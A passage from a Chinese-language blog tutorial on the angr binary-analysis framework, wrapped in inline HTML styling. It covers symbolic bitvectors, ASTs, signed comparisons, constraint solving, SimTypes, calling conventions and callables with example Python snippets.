191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);"># </span>Create a bitvector symbol named <span style="color: rgb(152, 195, 121);">&#34;x&#34;</span> of length 64 bits<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; x = state.solver.BVS(<span style="color: rgb(152, 195, 121);">&#34;x&#34;</span>, 64)<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; x<br/>&lt;BV64 x_9_64&gt;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; y = state.solver.BVS(<span style="color: rgb(152, 195, 121);">&#34;y&#34;</span>, 64)<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; y<br/>&lt;BV64 y_10_64&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">x, y 就是一个符号变量，使用它们进行操作你不会直接得到一个结果，而是得到一个AST。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; x + one<br/>&lt;BV64 x_9_64 + 0x1&gt;<br/><span style="color: rgb(97, 174, 238);"><br/>&gt;</span>&gt;&gt; (x + one) / 2<br/>&lt;BV64 (x_9_64 + 0x1) / 0x2&gt;<br/><span style="color: rgb(97, 174, 238);"><br/>&gt;</span>&gt;&gt; x - y<br/>&lt;BV64 x_9_64 - y_10_64&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">let&#39;s learn how to process ASTs.每一个AST都有一个.op和一个.args，op代表一个操作的string name，args则代表一个操作的input参数，Unless the op is <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">BVV</code> or <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">BVS</code> (or a few others...), the args are all other ASTs, the tree eventually terminating with BVVs or BVSs. （差不多意思就是数都以变量结尾）</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; tree = (x + 1) / (y + 2)<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; tree<br/>&lt;BV64 (x_9_64 + 0x1) / (y_10_64 + 0x2)&gt;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; tree.op<br/>&#39;__floordiv__&#39;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; tree.args<br/>(&lt;BV64 x_9_64 + 0x1&gt;, &lt;BV64 y_10_64 + 0x2&gt;)<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; tree.args[0].op<br/>&#39;__add__&#39;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; tree.args[0].args<br/>(&lt;BV64 x_9_64&gt;, &lt;BV64 0x1&gt;)<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; tree.args[0].args[1].op<br/>&#39;BVV&#39;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; tree.args[0].args[1].args<br/>(1, 64)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>除了符号变量之外还有一个重要的概念就是符号约束。任何两个AST之间执行比较操作将产生一个新的AST，不是一个bitvector，而是一个符号化的布尔值（symbolic boolean）.</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; x == 1<br/>&lt;Bool x_9_64 == 0x1&gt;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; x == one<br/>&lt;Bool x_9_64 == 0x1&gt;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; x &gt; 2<br/>&lt;Bool x_9_64 &gt; 0x2&gt;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; x + y == one_hundred + 5<br/>&lt;Bool (x_9_64 + y_10_64) == 0x69&gt;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; one_hundred &gt; 5<br/>&lt;Bool True&gt;<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; one_hundred &gt; -5<br/>&lt;Bool False&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>必须记住的一点是比较操作默认是无符号的，因为-5代表的是&lt;BV64 0xfffffffffffffffb&gt;，因为-5实际上小于one_hunderd，但是因为是无符号操作，所以得到的结果才是False。为了使用有符号操作，必须<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">one_hundred.SGT(-5)</code> (that&#39;s &#34;signed greater-than&#34;)，angr在比较中的一些操作有自己的独特定义，可以看文档。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>同时必须记住不能将两个变量之间的比较作为if或者while语句的条件，因为结果可能不会是一个精确的值，应该使用solver.is_true and solver.is_false，which test for concrete truthyness/falsiness without performing a constraint solve.</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; <span style="color: rgb(230, 192, 123);">yes</span> = one == 1<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; no = one == 2<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; maybe = x == y<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; state.solver.is_true(<span style="color: rgb(230, 192, 123);">yes</span>)<br/>True<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; state.solver.is_false(<span style="color: rgb(230, 192, 123);">yes</span>)<br/>False<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; state.solver.is_true(no)<br/>False<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; state.solver.is_false(no)<br/>True<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; state.solver.is_true(maybe)<br/>False<br/><span style="color: rgb(97, 174, 238);">&gt;</span>&gt;&gt; state.solver.is_false(maybe)<br/>False</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>接下来一个比较重要的概念就是约束求解Constraint Solving，你可以将所有符号布尔值作为关于符号变量的有效值的断言，并将其作为约束加入到state，然后可以对符号表达式进行求解来获取一个合适的具体值。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>state.solver.add(x &gt; y)<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>state.solver.add(y &gt; <span style="color: rgb(209, 154, 102);">2</span>)<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>state.solver.add(<span style="color: rgb(209, 154, 102);">10</span> &gt; x)<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>state.solver.<span style="color: rgb(230, 192, 123);">eval</span>(x)<br/><span style="color: rgb(209, 154, 102);">4</span></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>值得注意的事如果state.solver.eval(y)，则结果也会是4，因为如果两次查询之间没有添加任何约束，两次查询的结果会相同。（文档这么说，但是我觉得不一定）</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9533527696793003" data-s="300,640" style="" data-type="png" data-w="686" src="https://wechat2rss.xlab.app/img-proxy/?k=6b206285&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkabTx0JNr29iaUG1yXsrK8sNdwiaAib3SCL2O6VOPcjNjCSYtRDRialBNxYtcr3mGHpWVqS5xPUcWYlNA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>同时Angr还支持浮点数和很多Solving methods，需要的时候可以参考上面的文档链接。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Vex IR infro</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://github.com/angr/angr-doc/blob/master/docs/paths.md" target="_blank">https://github.com/angr/angr-doc/blob/master/docs/paths.md</a></p></blockquote><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7004405286343612" data-s="300,640" style="" data-type="png" data-w="908" src="https://wechat2rss.xlab.app/img-proxy/?k=f71baf0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkabTx0JNr29iaUG1yXsrK8sN5tX3Q1WgdF1mLdX6aztRaTH2eThPUmpzzKb8NtzCIMFNKFCjdxMpYg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Working with Data and Conventions</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://docs.angr.io/advanced-topics/structured_data" target="_blank">https://docs.angr.io/advanced-topics/structured_data</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>angr有自己的类型系统，这些SimType可以在angr.types里面发现，不同的类型在不同的架构里面具备不同的size，可以通过ty.with_arch(arch)来查看某个类型对应的指定架构的信息，同时angr有一个wrapper叫做pycparser，是一个C解析器，它提供很多强大的功能。</p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://docs.angr.io/advanced-topics/structured_data#working-with-calling-conventions" target="_blank">https://docs.angr.io/advanced-topics/structured_data#working-with-calling-conventions</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>angr有自己的调用约定叫做SimCC，可以通过p.factory.cc(..)来创建实例，一般来说，angr会根据客户机的系统和架构自己确定调用约定，如果无法确定，可以在angr.calling_conventions里面找到一个进行手工指定。详细细节可以参考链接，这里主要说一下callable，因为它经常用于漏洞挖掘工作。如果想定义一个callable，必须有函数地址和调用约定以及参数和返回值，像之前说的调用约定可以angr自动判断，那么参数和返回值必须人工设定：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">charstar = angr.sim_type_.parse_type(<span style="color: rgb(152, 195, 121);">&#34;char *&#34;</span>)<br/>prototype = angr.sim_type.SimTypeFunction((charstar,), angr.sim_type.SimTypeInt(<span style="color: rgb(86, 182, 194);">False</span>))</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">上面的prototype就是一个参数和返回值的类型，然后通过下面<span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">的方式进行调用约定的创</span><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">建：</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">cc = p.factory.cc(func_ty=prototype)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后通过如下<span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">的方式创建callable：</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">check_func = p.factory.<span style="color: rgb(230, 192, 123);">callable</span>(find_func.addr, concrete_only=<span style="color: rgb(86, 182, 194);">False</span>, cc=cc)</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里的concrete_only是False，因为这样才能开启符号化的参数，不过目前默认就是关闭的，可以看api doc注释：</p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><ul style="line-height: 1.75;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• concrete_only– Throw an exception if the execution splits into multiple states</p></li></ul></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">下面是使用具体值和符号变量的两种方式：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">my_args = [<span style="color: rgb(152, 195, 121);">&#34;abcd&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;96&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;87&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;55&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;qqqq&#34;</span>]<br/><span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;[+] Running angr callable with concrete arguments&#34;</span>)<br/><span style="color: rgb(198, 120, 221);">for</span> arg <span style="color: rgb(198, 120, 221);">in</span> my_args:<br/>    ret_val = check_func(arg)<br/>    stdout = check_func.result_state.posix.dumps(<span style="color: rgb(209, 154, 102);">1</span>)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;Input  : {}&#34;</span>.<span style="color: rgb(230, 192, 123);">format</span>(arg))<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;Stdout : {}&#34;</span>.<span style="color: rgb(230, 192, 123);">format</span>(stdout))</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">符号变量：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">#Does not return</span><br/>my_sym_arg = claripy.BVS(<span style="color: rgb(152, 195, 